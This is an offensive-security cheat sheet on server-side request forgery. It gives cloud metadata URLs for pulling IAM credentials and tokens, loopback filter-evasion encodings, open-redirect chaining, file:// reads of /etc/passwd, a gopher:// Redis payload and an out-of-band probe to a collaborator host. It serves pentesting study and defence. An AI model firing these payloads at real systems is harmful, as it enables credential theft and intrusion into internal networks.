Server-Side Request Forgery (SSRF)
Abuse web application request handlers to make unauthorized HTTP or socket requests to internal networks and cloud metadata APIs.
// prerequisite reading
What is SSRF?
Server-Side Request Forgery occurs when a web application fetches a remote resource (such as an image URL, webhook, or external file) based on user input without properly sanitizing or restricting the destination URI.
An attacker can force the web server to make requests to:
- Loopback interface (
127.0.0.1/localhost) — access administrative dashboards or services bound exclusively to local interfaces. - Internal networks (
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) — pivot into internal microservices. - Cloud Instance Metadata Services (IMDS) — retrieve IAM credentials and access tokens.
Attacker ---> [ Vulnerable Web Server ] ---> [ Internal Admin Portal / Cloud Metadata ]Cloud Metadata Service Endpoints
In cloud environments (AWS, GCP, Azure, DigitalOcean), instance metadata services run on fixed, unroutable IP addresses accessible only from within the instance:
AWS IMDSv1
GET http://169.254.169.254/latest/meta-data/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/Response exposes temporary AWS access keys, secret keys, and security tokens.
Google Cloud Platform (GCP)
GCP requires the Metadata-Flavor: Google header. If header injection or SSRF allows custom headers:
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: GoogleDigitalOcean & Azure
http://169.254.169.254/metadata/v1.json (DigitalOcean)
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Azure)Filter Evasion Techniques
If the application restricts IPs like 127.0.0.1 or localhost, try alternative representations:
1. Alternative IP Formats
- Decimal integer IP:
http://2130706433(equivalent to127.0.0.1) - Hexadecimal IP:
http://0x7f000001 - Octal IP:
http://0177.0.0.1 - Shortened IP:
http://127.1orhttp://127.0.1 - IPv6 Loopback:
http://[::1]orhttp://[::ffff:127.0.0.1]
2. DNS Redirection / Custom Domain
- Use wildcard DNS services that resolve to loopback:
http://spoofed.127.0.0.1.nip.iohttp://localtest.me
- Setup a domain with DNS rebinding or a very short TTL pointing to
127.0.0.1.
3. Open Redirect Chaining
If the target blocks internal IPs directly but allows external URLs, find an open redirect on an allowed domain:
POST /fetch?url=https://allowed-domain.com/redirect?url=http://127.0.0.1/adminProtocol Smuggling with Gopher & File
If the server uses cURL or multi-protocol libraries, test alternate URI schemes:
file://scheme: Read local system files:url=file:///etc/passwd url=file:///c:/windows/win.inigopher://scheme: Craft raw TCP payloads to communicate with internal Redis or Memcached servers:url=gopher://127.0.0.1:6379/_SET%20flag%20pwned
Blind SSRF Detection
When the server does not reflect the HTTP response in the output, use Out-Of-Band (OOB) interactions (e.g., Burp Collaborator, pingb.in, or a personal VPS):
POST /avatar/import HTTP/1.1
Host: target.com
url=http://your-subdomain.oastify.comMonitor incoming HTTP, DNS, or ICMP requests to confirm SSRF execution.